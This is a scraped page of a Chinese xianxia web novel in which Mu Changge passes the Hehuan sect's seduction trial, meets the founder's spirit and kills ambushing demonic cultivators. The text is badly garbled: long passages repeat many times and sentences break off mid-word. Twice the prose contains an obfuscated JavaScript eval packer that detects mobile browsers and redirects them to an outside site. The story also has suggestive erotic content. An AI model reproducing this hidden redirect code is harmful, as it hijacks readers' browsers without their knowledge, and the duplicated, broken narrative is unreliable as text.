她们或清纯可人,或妖艳如火,或冷若冰霜,却都只披着轻透薄纱,曼妙曲线在雾气中若隐若现。 最可怕的是,每个女子身上都散发着独特的魅惑气息。 那是直击修士神魂深处,**的欲念之力。 “让奴家伺候公子可好?” 为首的红衣女子款款走来,玉指点过慕长歌的胸膛。 触碰的刹那,一股灼热的欲念之力,悄无声息钻入经脉。 虽然他没去阵法中查看过,但开山祖师所的手笔岂是那么简单。 他愈发怀疑,慕长歌的**,就是碧霄宫第一闲散长老,以及那位飞升圣主云清璃的道侣。 若是如此,别说他要称呼一声前辈,就是自家宗主在人家面前,还要小个二百来岁。 这算什么? 老牛吃嫩草? 玉蟾忽然悔恨不已,他怎么就没想到用伪装的方式,去哄骗一些小女孩呢? 说出去谁敢信,他这位合欢宗的长老,从未体会过双修的滋味,只是被曾经的师姐被迫双修过。 那时他所在的外门山峰,名为韭菜峰,清一色男弟子,时不时要接受一些内门师姐的考核。 每次考核回来,都要瘦上几圈,若不是损伤了根基,他何至于区区三百来岁,就一脸苍老的面容啊。 想到这,玉蟾就想嚎啕大哭。 南宫媚儿美眸流转,蹙眉瞥了眼玉蟾。 玉蟾急忙抹了把脸,挤出夸张的笑,“宗主啊,我这是太开心了,慕少爷他天纵奇才,跟您天造地设的一对!” 他搓着手,谄媚地补充道,“这叫什么?龙凤呈祥!神仙眷侣!宗主之福,合欢宗之幸啊!” 说完,他还抹了抹眼泪。 “我那迷人的夫君啊~” 南宫媚儿指尖绕着发丝,红唇扬起弧度,“比真的棒.还要棒.你说呢,大长老?” “老朽倒要看看,他能在这欲海沉沦中坚持多久!” 墨玄机话音刚落。 墨有机和墨有丹一同来到了他跟前,两人冲着他微微点头,而后墨玄机挑起了笑。 此时,慕长歌已然进入第二关。 原本幽深的古林化作一片无边无际的绯色海洋,海面上漂浮着朵朵妖艳的合欢花,每一片皆是闪烁着蛊惑人心的粉芒。 幻境? 不对! 天眼瞳开启洞察根源。 慕长歌稍有诧异的发现,此处似幻非幻,准确来说是以修士的识海为根基所布置的阵法。 不愧是合欢宗的开山祖师,果然大手笔。 他已然看出,无论是这识海,还是流淌在其中的欲念之力,都是那位开山祖师以身所化。 “公子~” 道道酥媚入骨的声音,从四面八方传来。 海面上升腾起氤氲雾气,百名绝色女子踏浪而出。 她们或清纯可人,或妖艳如火,或冷若冰霜,却都只披着轻透薄纱,曼妙曲线在雾气中若隐若现。 最可怕的是,每个女子身上都散发着独特的魅惑气息。 那是直击修士神魂深处,**的欲念之力。 “让奴家伺候公子可好?” 为首的红衣女子款款走来,玉指点过慕长歌的胸膛。 触碰的刹那,一股灼热的欲念之力,悄无声息钻入经脉。 虽然他没去阵法中查看过,但开山祖师所的手笔岂是那么简单。 他愈发怀疑,慕长歌的**,就是碧霄宫第一闲散长老,以及那位飞升圣主云清璃的道侣。 若是如此,别说他要称呼一声前辈,就是自家宗主在人家面前,还要小个二百来岁。 这算什么? 老牛吃嫩草? 玉蟾忽然悔恨不已,他怎么就没想到用伪装的方式,去哄骗一些小女孩呢? 说出去谁敢信,他这位合欢宗的长老,从未体会过双修的滋味,只是被曾经的师姐被迫双修过。 那时他所在的外门山峰,名为韭菜峰,清一色男弟子,时不时要接受一些内门师姐的考核。 每次考核回来,都要瘦上几圈,若不是损伤了根基,他何至于区区三百来岁,就一脸苍老的面容啊。 想到这,玉蟾就想嚎啕大哭。 南宫媚儿美眸流转,蹙眉瞥了眼玉蟾。 玉蟾急忙抹了把脸,挤出夸张的笑,“宗主啊,我这是太开心了,慕少爷他天纵奇才,跟您天造地设的一对!” 他搓着手,谄媚地补充道,“这叫什么?龙凤呈祥!神仙眷侣!宗主之福,合欢宗之幸啊!” 说完,他还抹了抹眼泪。 “我那迷人的夫君啊~” 南宫媚儿指尖绕着发丝,红唇扬起弧度,“比真的棒.还要棒.你说呢,大长老?” “老朽倒要看看,他能在这欲海沉沦中坚持多久!” 墨玄机话音刚落。 墨有机和墨有丹一同来到了他跟前,两人冲着他微微点头,而后墨玄机挑起了笑。 此时,慕长歌已然进入第二关。 原本幽深的古林化作一片无边无际的绯色海洋,海面上漂浮着朵朵妖艳的合欢花,每一片皆是闪烁着蛊惑人心的粉芒。 幻境? 不对! 天眼瞳开启洞察根源。 慕长歌稍有诧异的发现,此处似幻非幻,准确来说是以修士的识海为根基所布置的阵法。 不愧是合欢宗的开山祖师,果然大手笔。 他已然看出,无论是这识海,还是流淌在其中的欲念之力,都是那位开山祖师以身所化。 “公子~” 道道酥媚入骨的声音,从四面八方传来。 海面上升腾起氤氲雾气,百名绝色女子踏浪而出。 她们或清纯可人,或妖艳如火,或冷若冰霜,却都只披着轻透薄纱,曼妙曲线在雾气中若隐若现。 最可怕的是,每个女子身上都散发着独特的魅惑气息。 那是直击修士神魂深处,**的欲念之力。 “让奴家伺候公子可好?” 为首的红衣女子款款走来,玉指点过慕长歌的胸膛。 触碰的刹那,一股灼热的欲念之力,悄无声息钻入经脉。 虽然他没去阵法中查看过,但开山祖师所的手笔岂是那么简单。 他愈发怀疑,慕长歌的**,就是碧霄宫第一闲散长老,以及那位飞升圣主云清璃的道侣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574705|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>若是如此,别说他要称呼一声前辈,就是自家宗主在人家面前,还要小个二百来岁。 这算什么? 老牛吃嫩草? 玉蟾忽然悔恨不已,他怎么就没想到用伪装的方式,去哄骗一些小女孩呢? 说出去谁敢信,他这位合欢宗的长老,从未体会过双修的滋味,只是被曾经的师姐被迫双修过。 那时他所在的外门山峰,名为韭菜峰,清一色男弟子,时不时要接受一些内门师姐的考核。 每次考核回来,都要瘦上几圈,若不是损伤了根基,他何至于区区三百来岁,就一脸苍老的面容啊。 想到这,玉蟾就想嚎啕大哭。 南宫媚儿美眸流转,蹙眉瞥了眼玉蟾。 玉蟾急忙抹了把脸,挤出夸张的笑,“宗主啊,我这是太开心了,慕少爷他天纵奇才,跟您天造地设的一对!” 他搓着手,谄媚地补充道,“这叫什么?龙凤呈祥!神仙眷侣!宗主之福,合欢宗之幸啊!” 说完,他还抹了抹眼泪。 “我那迷人的夫君啊~” 南宫媚儿指尖绕着发丝,红唇扬起弧度,“比真的棒.还要棒.你说呢,大长老?” “老朽倒要看看,他能在这欲海沉沦中坚持多久!” 墨玄机话音刚落。 墨有机和墨有丹一同来到了他跟前,两人冲着他微微点头,而后墨玄机挑起了笑。 此时,慕长歌已然进入第二关。 原本幽深的古林化作一片无边无际的绯色海洋,海面上漂浮着朵朵妖艳的合欢花,每一片皆是闪烁着蛊惑人心的粉芒。 幻境? 不对! 天眼瞳开启洞察根源。 慕长歌稍有诧异的发现,此处似幻非幻,准确来说是以修士的识海为根基所布置的阵法。 不愧是合欢宗的开山祖师,果然大手笔。 他已然看出,无论是这识海,还是流淌在其中的欲念之力,都是那位开山祖师以身所化。 “公子~” 道道酥媚入骨的声音,从四面八方传来。 海面上升腾起氤氲雾气,百名绝色女子踏浪而出。 她们或清纯可人,或妖艳如火,或冷若冰霜,却都只披着轻透薄纱,曼妙曲线在雾气中若隐若现。 最可怕的是,每个女子身上都散发着独特的魅惑气息。 那是直击修士神魂深处,**的欲念之力。 “让奴家伺候公子可好?” 为首的红衣女子款款走来,玉指点过慕长歌的胸膛。 触碰的刹那,一股灼热的欲念之力,悄无声息钻入经脉。 虽然他没去阵法中查看过,但开山祖师所的手笔岂是那么简单。 他愈发怀疑,慕长歌的**,就是碧霄宫第一闲散长老,以及那位飞升圣主云清璃的道侣。 若是如此,别说他要称呼一声前辈,就是自家宗主在人家面前,还要小个二百来岁。 这算什么? 老牛吃嫩草? 玉蟾忽然悔恨不已,他怎么就没想到用伪装的方式,去哄骗一些小女孩呢? 说出去谁敢信,他这位合欢宗的长老,从未体会过双修的滋味,只是被曾经的师姐被迫双修过。 那时他所在的外门山峰,名为韭菜峰,清一色男弟子,时不时要接受一些内门师姐的考核。 每次考核回来,都要瘦上几圈,若不是损伤了根基,他何至于区区三百来岁,就一脸苍老的面容啊。 想到这,玉蟾就想嚎啕大哭。 南宫媚儿美眸流转,蹙眉瞥了眼玉蟾。 玉蟾急忙抹了把脸,挤出夸张的笑,“宗主啊,我这是太开心了,慕少爷他天纵奇才,跟您天造地设的一对!” 他搓着手,谄媚地补充道,“这叫什么?龙凤呈祥!神仙眷侣!宗主之福,合欢宗之幸啊!” 说完,他还抹了抹眼泪。 “我那迷人的夫君啊~” 南宫媚儿指尖绕着发丝,红唇扬起弧度,“比真的棒.还要棒.你说呢,大长老?” “老朽倒要看看,他能在这欲海沉沦中坚持多久!” 墨玄机话音刚落。 墨有机和墨有丹一同来到了他跟前,两人冲着他微微点头,而后墨玄机挑起了笑。 此时,慕长歌已然进入第二关。 原本幽深的古林化作一片无边无际的绯色海洋,海面上漂浮着朵朵妖艳的合欢花,每一片皆是闪烁着蛊惑人心的粉芒。 幻境? 不对! 天眼瞳开启洞察根源。 慕长歌稍有诧异的发现,此处似幻非幻,准确来说是以修士的识海为根基所布置的阵法。 不愧是合欢宗的开山祖师,果然大手笔。 他已然看出,无论是这识海,还是流淌在其中的欲念之力,都是那位开山祖师以身所化。 “公子~” 道道酥媚入骨的声音,从四面八方传来。 海面上升腾起氤氲雾气,百名绝色女子踏浪而出。 她们或清纯可人,或妖艳如火,或冷若冰霜,却都只披着轻透薄纱,曼妙曲线在雾气中若隐若现。 最可怕的是,每个女子身上都散发着独特的魅惑气息。 那是直击修士神魂深处,**的欲念之力。 “让奴家伺候公子可好?” 为首的红衣女子款款走来,玉指点过慕长歌的胸膛。 触碰的刹那,一股灼热的欲念之力,悄无声息钻入经脉。 虽然他没去阵法中查看过,但开山祖师所的手笔岂是那么简单。 他愈发怀疑,慕长歌的**,就是碧霄宫第一闲散长老,以及那位飞升圣主云清璃的道侣。 若是如此,别说他要称呼一声前辈,就是自家宗主在人家面前,还要小个二百来岁。 这算什么? 老牛吃嫩草? 玉蟾忽然悔恨不已,他怎么就没想到用伪装的方式,去哄骗一些小女孩呢? 说出去谁敢信,他这位合欢宗的长老,从未体会过双修的滋味,只是被曾经的师姐被迫双修过。 那时他所在的外门山峰,名为韭菜峰,清一色男弟子,时不时要接受一些内门师姐的考核。 每次考核回来,都要瘦上几圈,若不是损伤了根基,他何至于区区三百来岁,就一脸苍老的面容啊。 想到这,玉蟾就想嚎啕大哭。 南宫媚儿美眸流转,蹙眉瞥了眼玉蟾。 玉蟾急忙抹了把脸,挤出夸张的笑,“宗主啊,我这是太开心了,慕少爷他天纵奇才,跟您天造地设的一对!” 他搓着手,谄媚地补充道,“这叫什么?龙凤呈祥!神仙眷侣!宗主之福,合欢宗之幸啊!” 说完,他还抹了抹眼泪。 “我那迷人的夫君啊~” 南宫媚儿指尖绕着发丝,红唇扬起弧度,“比真的棒.还要棒.你说呢,大长老?” “老朽倒要看看,他能在这欲海沉沦中坚持多久!” 墨玄机话音刚落。 墨有机和墨有丹一同来到了他跟前,两人冲着他微微点头,而后墨玄机挑起了笑。 此时,慕长歌已然进入第二关。 原本幽深的古林化作一片无边无际的绯色海洋,海面上漂浮着朵朵妖艳的合欢花,每一片皆是闪烁着蛊惑人心的粉芒。 幻境? 不对! 天眼瞳开启洞察根源。 慕长歌稍有诧异的发现,此处似幻非幻,准确来说是以修士的识海为根基所布置的阵法。 不愧是合欢宗的开山祖师,果然大手笔。 他已然看出,无论是这识海,还是流淌在其中的欲念之力,都是那位开山祖师以身所化。 “公子~” 道道酥媚入骨的声音,从四面八方传来。 海面上升腾起氤氲雾气,百名绝色女子踏浪而出。 她们或清纯可人,或妖艳如火,或冷若冰霜,却都只披着轻透薄纱,曼妙曲线在雾气中若隐若现。 最可怕的是,每个女子身上都散发着独特的魅惑气息。 那是直击修士神魂深处,**的欲念之力。 “让奴家伺候公子可好?” 为首的红衣女子款款走来,玉指点过慕长歌的胸膛。 触碰的刹那,一股灼热的欲念之力,悄无声息钻入经脉。 第145章 系统挖坑反助力,化欲为道破玄机 “公子~让奴家好好服侍您~” 红衣女子朱唇再一次轻启纤纤玉指顺着他胸膛缓缓下滑那薄如蝉翼的红纱随着动作滑落香肩半露。 她身后九十九名女子同时起舞轻纱飞扬春光若隐若现。 就这? 未免太小瞧他了。 这千年来他修为进展虽然不怎么样可这心性上的磨炼以及心境上的提升早已远非常人可比。 “公子好狠的心呢~” 一名蓝衣女子飘然而至玉臂如水蛇缠上他的脖子“我们不美么奴家可是把看家本领都使出来了呢。” 慕长歌正要冷笑只听那女子又道“莫非公子是无根之人?” 噗! 我屮艸芔茻! 几个意思? 慕长歌差点吐血。 红衣女子娇笑一声幻化出十道分身将他团团围住。 所有女子同时伸出纤纤玉手指尖绽放出妖异的粉光“公子何必逞强这欲海之力可是会.” 话音戛然而止。 因为慕长歌笑了。 他的笑让所有女子忍不住后退半步。 “会什么?让人**焚身还是神魂沉沦?” 慕长歌瞥向她们“或许你们的魅惑之术能让凡夫俗子神魂颠倒但绝不包括我——” 他双眸绽放璀璨金光声音如洪钟大吕响彻欲海。 “我本谪仙入凡尘万般欲念不沾身!” 轰! 一道通天彻地的金色光柱 无垢金身的虚影在身后显现高达百丈通体如琉璃纯净无暇金身双目微睁浩瀚威压将整片欲海**到波澜不兴。 金光似潮水绽放万丈光芒那些妖娆女子个个发出凄厉的尖叫颤抖蜷缩在金光边缘。 红衣女子最是狼狈原本妖艳的红纱被金光灼烧出无数破洞露出大片雪肌。 外界。 万情林上空的金光直冲云霄将方圆百里的云层染成了璀璨的金色合欢宗弟子们纷纷仰头。 他们无不被这壮观景象震撼得说不出话。 “这是又要过关了?” 玉蟾目光呆滞掐指一算只过去了一刻钟。 他转身看向南宫媚儿脸上的皱纹笑开了花。 “宗主老夫真是太佩服您了。” 他搓着手谄媚地凑近“慕道友这样的天纵之才甘愿拜倒在您的石榴裙下日后宗主在宗门内 的压力,可就减轻了许多。” “不见得~” 望着玉蟾微皱的眉头,她轻抚被风吹乱的发丝,“有他在,日后压倒我的不再是宗门琐事,而是” 南宫媚儿唇角微扬,话音酥媚入骨,“他” “那个.宗主英明!” 玉蟾先是一愣,转而干咳了两声。 不知为何,他这百年老光棍莫名有一丝丝G尬。 南宫媚儿掩嘴轻笑,目光重新投向万情林。 不远处,大长老墨玄机,二长老墨有机,三长老墨有丹,皆是注视着这一幕,锁紧了眉头。 墨玄机枯瘦的手指,攥紧了龙头杖,指关节泛着白。 可忽然间,那金光减弱了,甚至在外界弱不可查。 “看来宗主白开心了一场,这第二关岂是那么容易过的?” 墨玄机脸上的阴沉消失不见,反而笑呵呵道,“说不定那小子早已**焚身,方才不过是最后的挣扎罢了。” 南宫媚儿玉指微不可察地颤了颤,红唇抿成了一条线。 她面上依旧挂着妩媚的笑,可那双勾魂夺魄的美眸中,尽是冰冷的杀意,又默默祈祷慕长歌不要有事。 腕间的道侣印记,传来阵阵灼热感,让她平复了躁动的心,红唇再次焕发迷人的浅笑。 欲海内。 慕长歌已感受到金身的力量减弱了许多,他不知具体怎么回事,可情势显然对他不利,也就不再有任何拖延。 “不过是些被囚禁在此地的欲念,安敢乱我道心,今日我渡你们往生。” 他双手结印,无垢金身绽放出最后的光芒。 金光迅疾涌向那些妖娆女子,使得她们发出撕心裂肺的尖叫。 “公子~” 红衣女子突然抬头,强忍着金光灼烧的痛苦,硬生生挤出一抹媚态,眼波流转间,带着令人心颤的妩媚,“您当真忍心么?” 这一声呼唤直击神魂,慕长歌结印的手拾突然一滞,无垢金身的光芒剧烈闪烁,竟开始不受控制地消散。 他瞳孔微缩,不自觉地喃喃出声,“好好美” 红衣女子见状,任由金光灼烧着肌肤,一步一步向慕长歌走来。 每走一步,她身上的红纱就剥落一分。 “公子.” 她迈着妖娆步伐,舌尖舔了下手背,“您看奴家美么?” 慕长歌眼神逐渐迷离,金身虚影彻底消散。 他站在原地,看着被施了定身咒。 红衣女子趁机 贴近,玉臂如水蛇缠上他的脖子。 “就让奴家.” 她红唇几乎贴上了耳垂,“好好服侍您吧~” 慕长歌分神的刹那,又有许多女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582188|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子同时扑来,温香软玉顿时将他淹没。 无数双柔若无骨的小手,在他身上游走,每一下触碰都带着直击神魂的欲念之力。 随后,慕长歌猛地一个惊醒。 怎么回事? 以他的道心修为,又有各种手段,怎么会被这种幻术迷惑。 他眼眸陡然瞪大,似是想到了什么。 金刚不坏肾宝丸! “狗系统,老子要被你害**,现在怎么办!” 他在心中疯狂怒吼。 “叮!宿主莫要慌,本统来相帮!” 系统欢快的声音响起,“只需发挥你的长处,弥补她们的缺陷,大喊一声奥利给,过后将获得莫大好处~” “不要感谢我,本统只是正义的搬运工!” “……” 慕长歌咬牙切齿。 狗系统! 搬你大爷啊! 不但坑了他一万气运值,还让他陷入了窘境。 等等! 做出对他不利之事,对于系统而言并无任何好处。 他立即沉浸心神,去彻底炼化那丹药的药力。 轰! 一道金光自他丹田爆发,丹药的效力完全被激发。 慕长歌周身毛孔喷薄出炽热金芒,整个人如同小太阳般耀眼。 他猛地睁开双眼,眸中金光如炬,似有万千道纹在其中流转。 “不是想来吗?” 慕长歌勾起一抹邪魅,声音低沉如雷,“老子成全你们!” 轰! 一股浩瀚气势在他体内爆发,衣袍无风而舞。 他身形骤然飞起,悬停在欲海虚空之中,周身金光似潮水铺展开来,将整片绯色海洋,映照得如同鎏金熔炉。 慕长歌眼神向下扫视,随即双臂一字型展开。 随着他的动作,整个空间的一切事物,好似停止了流转,连同那些妖娆女子全部定格在原地。 慕长歌闭目凝神,阴阳合欢诀运转,来自妙音的鼎炉之体全开。 那些女子身上的欲念之力,如百川归海,疯狂涌向了他。 欲海剧烈翻腾,那些粉色雾气被彻底净化,转化为最精纯的灵力,在他自身经脉中奔流不息。 “原来.这才是正确通关的方式!” 慕长歌睁开眼,眼前的景象已截然不同。 妖娆女子,绯色欲海尽数消散。 “叮!恭喜宿主化欲为道,将最原始的欲念之力,转化为最纯净的大道本源!” “恭喜宿主修为突破,当前境界:化神五十阶!” 第146章 碧落传道授真诀,媚儿冷眼审三老 慕长歌感受着体内充盈的灵力,嘴角扬起明悟的笑意。 他低头看向自己的手掌,掌心浮现出一道阴阳鱼印记,此番他不是简单的吸收,而是真正的化欲为道。 难怪系统坑了他一万气运值,物超所值。 他得到的好处,可不是那些气运值能相比。 此后,他体内拥有阴阳两种不同属性的灵力,正如他所说,合欢宗祖师布置此阵的目的,关键在于传承。 “恭喜闯关者。” 一个空灵的声音,在天地间回荡。 清澈湖面泛起涟漪,凝聚成一道朦胧女子的虚影。 她身着素白长裙,气质出尘,与先前的妖娆女子截然不同。 “数千年来,你是第一个真正参透欲海真谛的人。” 女子轻声道,“此关在于,不压制,不逃避,而是包容与转化,在无尽欲望中,保持自身不失本真。” 慕长歌心头微动,这虚影散发的气息,似乎是那种过往的大能。 “晚辈慕长歌,见过碧落仙子。” 他做了个道揖,眼神掠过一抹肃穆。 那虚影展颜一笑,这一笑如冰雪初融,月华倾泻,“你竟知我名讳?” “碧落仙子以七情合道诀开宗立派,晚辈在宗门典籍中,曾有幸见过前辈的尊容。” 慕长歌目光灼灼,“前辈在此留下神念,可是有事要交代?” “不错,本座这缕神念在此等候有缘人,已有三千余年。” 她那虚影轻轻摇曳,似在追忆往昔,“你既已过此关,想来是碧霄宫的后辈?” “前辈因何而知?” 慕长歌疑惑道。 “此关能过者,唯有碧霄宫主修心境之人方能度过,这非寻常弟子能够做到,所以你身份非同一般。” 碧落看到慕长歌眼里的苦笑,眼中闪过些欣慰,“那丫头能成为你的道侣,是她的福分。” “原来这些都是前辈您的算计,既早有结盟之心,为何您不再当时表明此意?” 碧落听闻,似乎笑得有些狡黠。 “若本座直言,岂不在碧霄宫那里掉了身份?” 望着慕长歌眼里的愕然,她继续道,“你这样的弟子,在碧霄宫中何其宝贝,岂会让你与他人宗门之人结为道侣。” “所以前辈您在等?” 慕长歌翻着白眼,“等得到最好,等不到就需去到第三关,如果第三关通过您的考验,便退而求其次?” 实际上他也明白,碧 落当时想的根本不是什么结盟,而是想将对方的优秀弟子,吸收到宗门之内。 也可以理解为,用自身这边的女弟子进行魅力诱惑,以此合两家之长,补其短。 但在当时,碧霄宫绝不会让门下弟子,进入他人宗门,因此碧落也就不曾开口。 三千年前正魔大战,各派损失惨重,碧落又萌生了这样的想法,可各宗的弟子又更加宝贝,这个想法也就无法实施。 最后,她只好在死前,以阵法化作关卡的形式顺其自然,并以宗门宗主这层身份作为引,宣称过关者可结道侣。 草(一种植物) 又是个**不吐骨头的妖女。 碧落虽说没有回答,但慕长歌看到她嘴角萦绕的笑意,已然得知自己猜到了答案。 他突然皱眉,“敢问前辈,合欢宗禁地所守护之物,莫非是” “如你所想。” 碧落神色凝重,“正是上古十二魔尊其中之一,乌云魔尊陨落后的本源,为我所封印**于禁地。” “前辈既有神念残留,那这宗门之事,想来瞒不过你的眼睛?” 慕长歌目光如炬,直视着碧落仙子的虚影。 碧落轻叹一声,虚影微微摇晃,“知晓又当如何,本座如今不过一缕残念,什么都做不了。” 她抬眸望向虚空,眼中带着些无奈,“此关中蕴含我陨落前残余的全部力量,既为你所得,也算我半个弟子。” 碧落屈指轻弹,一个莹白光球和一枚玉简凭空浮现,缓缓漂浮到慕长歌面前。 “玉简内是七情合道诀的传承。” 碧落的声音渐渐缥缈,“便由你交给那个丫头。” 慕长歌接过玉简,皱了皱眉,收了起来,以神识扫了眼那个光球,神色却是一变。 再抬头时,碧落的虚影已化作点点星光消散。 只余最后一句缥缈之音,“有你在,足以拨乱反正。” 外界。 万情林一阵剧烈震动,地面裂开道道沟壑,参天古树接连倒塌,笼罩林间的阵法光幕,脆弱到跟琉璃般寸寸碎裂。 “发生了什么?!” 二长老墨有机踉跄后退,老脸煞白,“祖师留下的法阵,怎么会突然崩塌!” 大长老墨玄机和老三墨有丹,皆是沉默不语,盯紧了前方。 “宗主,你可知这是怎么回事?” 玉蟾惊慌地看向南宫媚儿,“该不会是慕道友他.” 南宫媚儿红唇紧抿,指尖轻抚腕间的道侣印 记,那里传来的灼热感,让她稍稍安心。 不多时,阵法彻底崩塌,眼前的景象逐渐映入众人视线。 有慕长歌背对他们的画面,还有 “魔修?!” 玉蟾失声惊呼,这些人如何进入的合欢宗,又是如何悄无声息进入到祖师留下的阵法之内。 入阵那也没什么好担心的,充其量自寻死路而已,可偏偏这些魔修们平安无事。 对方也一阵错愕,他们本是埋伏在第三关,静候时机除掉墨有机所言阻碍他们的那个人。 没想到尚未出手,阵法就崩塌了,还显露了他们的踪迹。 这就比他们的头还要秃然。 为首的魔修头领最先回过神,他手掐法诀,一道血色光柱冲天而起,在云端炸开一朵狰狞的骷髅图案。 “杀!” 魔修头领目光锁定慕长歌,厉声喝道。 数十名魔修同时暴起,各种阴毒法器呼啸而出,黑雾弥漫间,**,骨刃,血幡交织成一张死亡之网。 慕长歌连剑都没出,轻轻一拂袖,那些袭来的法器已然调转方向,以更快的速度原路返回! 噗噗噗! 利器入肉的声音接连响起。 魔修们甚至来不及惨叫,就被自己的利器贯穿胸膛。 慕长歌闲庭信步穿过血雾,衣角未曾沾染半分污秽。 魔修头领瞳孔骤缩,低头看去,胸前被一把通体赤红的长剑,贯穿了身躯。 他认出了那把剑,眼中流淌着惊恐,“你是.慕长歌!” 该死的墨有机! 为何不说清阻碍他们的,且要杀的那个人,就是他们魔尊尚且忌惮几分的那个煞星! 早知他也在,就应该回去禀报魔尊。 至于先前劫持南宫媚儿的同伴们有来无回无,是被墨有机告知南宫媚儿隐藏了修为,这才导致他们没有多想。 轰! 随着一声炸响,漫天魔气被血煞剑所吞噬。 墨玄机三兄弟各自双目一紧,随着慕长歌转身走来的身影,他们心跳止不住加速。 合欢宗众弟子完全相反,眼中迸发着炽热精芒。 南宫媚儿上前,玉指轻抚慕长歌的衣襟,“夫君,这些蝼蚁可曾脏了你的手?” 望着他摇头,她声音陡然转冷,瞥向那三人。 “三位长老,是不是该解释一下,魔修怎会出现在这阵法中!” 记,那里传来的灼热感,让她稍稍安心。 不多时,阵法彻底崩塌,眼前的景象逐渐映入众人视线。 有慕长歌背对他们的画面,还有 “魔修?!” 玉蟾失声惊呼,这些人如何进入的合欢宗,又是如何悄无声息进入到祖师留下的阵法之内。 入阵那也没什么好担心的,充其量自寻死路而已,可偏偏这些魔修们平安无事。 对方也一阵错愕,他们本是埋伏在第三关,静候时机除掉墨有机所言阻碍他们的那个人。 没想到尚未出手,阵法就崩塌了,还显露了他们的踪迹。 这就比他们的头还要秃然。 为首的魔修头领最先回过神,他手掐法诀,一道血色光柱冲天而起,在云端炸开一朵狰狞的骷髅图案。 “杀!” 魔修头领目光锁定慕长歌,厉声喝道。 数十名魔修同时暴起,各种阴毒法器呼啸而出,黑雾弥漫间,**,骨刃,血幡交织成一张死亡之网。 慕长歌连剑都没出,轻轻一拂袖,那些袭来的法器已然调转方向,以更快的速度原路返回! 噗噗噗! 利器入肉的声音接连响起。 魔修们甚至来不及惨叫,就被自己的利器贯穿胸膛。 慕长歌闲庭信步穿过血雾,衣角未曾沾染半分污秽。 魔修头领瞳孔骤缩,低头看去,胸前被一把通体赤红的长剑,贯穿了身躯。 他认出了那把剑,眼中流淌着惊恐,“你是.慕长歌!” 该死的墨有机! 为何不说清阻碍他们的,且要杀的那个人,就是他们魔尊尚且忌惮几分的那个煞星! 早知他也在,就应该回去禀报魔尊。 至于先前劫持南宫媚儿的同伴们有来无回无,是被墨有机告知南宫媚儿隐藏了修为,这才导致他们没有多想。 轰! 随着一声炸响,漫天魔气被血煞剑所吞噬。 墨玄机三兄弟各自双目一紧,随着慕长歌转身走来的身影,他们心跳止不住加速。 合欢宗众弟子完全相反,眼中迸发着炽热精芒。 南宫媚儿上前,玉指轻抚慕长歌的衣襟,“夫君,这些蝼蚁可曾脏了你的手?” 望着他摇头,她声音陡然转冷,瞥向那三人。 “三位长老,是不是该解释一下,魔修怎会出现在这阵法中!” 记,那里传来的灼热感,让她稍稍安心。 不多时,阵法彻底崩塌,眼前的景象逐渐映入众人视线。 有慕长歌背对他们的画面,还有 “魔修?!” 玉蟾失声惊呼,这些人如何进入的合欢宗,又是如何悄无声息进入到祖师留下的阵法之内。 入阵那也没什么好担心的,充其量自寻死路而已,可偏偏这些魔修们平安无事。 对方也一阵错愕,他们本是埋伏在第三关,静候时机除掉墨有机所言阻碍他们的那个人。 没想到尚未出手,阵法就崩塌了,还显露了他们的踪迹。 这就比他们的头还要秃然。 为首的魔修头领最先回过神,他手掐法诀,一道血色光柱冲天而起,在云端炸开一朵狰狞的骷髅图案。 “杀!” 魔修头领目光锁定慕长歌,厉声喝道。 数十名魔修同时暴起,各种阴毒法器呼啸而出,黑雾弥漫间,**,骨刃,血幡交织成一张死亡之网。 慕长歌连剑都没出,轻轻一拂袖,那些袭来的法器已然调转方向,以更快的速度原路返回! 噗噗噗! 利器入肉的声音接连响起。 魔修们甚至来不及惨叫,就被自己的利器贯穿胸膛。 慕长歌闲庭信步穿过血雾,衣角未曾沾染半分污秽。 魔修头领瞳孔骤缩,低头看去,胸前被一把通体赤红的长剑,贯穿了身躯。 他认出了那把剑,眼中流淌着惊恐,“你是.慕长歌!” 该死的墨有机! 为何不说清阻碍他们的,且要杀的那个人,就是他们魔尊尚且忌惮几分的那个煞星! 早知他也在,就应该回去禀报魔尊。 至于先前劫持南宫媚儿的同伴们有来无回无,是被墨有机告知南宫媚儿隐藏了修为,这才导致他们没有多想。 轰! 随着一声炸响,漫天魔气被血煞剑所吞噬。 墨玄机三兄弟各自双目一紧,随着慕长歌转身走来的身影,他们心跳止不住加速。 合欢宗众弟子完全相反,眼中迸发着炽热精芒。 南宫媚儿上前,玉指轻抚慕长歌的衣襟,“夫君,这些蝼蚁可曾脏了你的手?” 望着他摇头,她声音陡然转冷,瞥向那三人。 “三位长老,是不是该解释一下,魔修怎会出现在这阵法中!” 记,那里传来的灼热感,让她稍稍安心。 不多时,阵法彻底崩塌,眼前的景象逐渐映入众人视线。 有慕长歌背对他们的画面,还有 “魔修?!” 玉蟾失声惊呼,这些人如何进入的合欢宗,又是如何悄无声息进入到祖师留下的阵法之内。 入阵那也没什么好担心的,充其量自寻死路而已,可偏偏这些魔修们平安无事。 对方也一阵错愕,他们本是埋伏在第三关,静候时机除掉墨有机所言阻碍他们的那个人。 没想到尚未出手,阵法就崩塌了,还显露了他们的踪迹。 这就比他们的头还要秃然。 为首的魔修头领最先回过神,他手掐法诀,一道血色光柱冲天而起,在云端炸开一朵狰狞的骷髅图案。 “杀!” 魔修头领目光锁定慕长歌,厉声喝道。 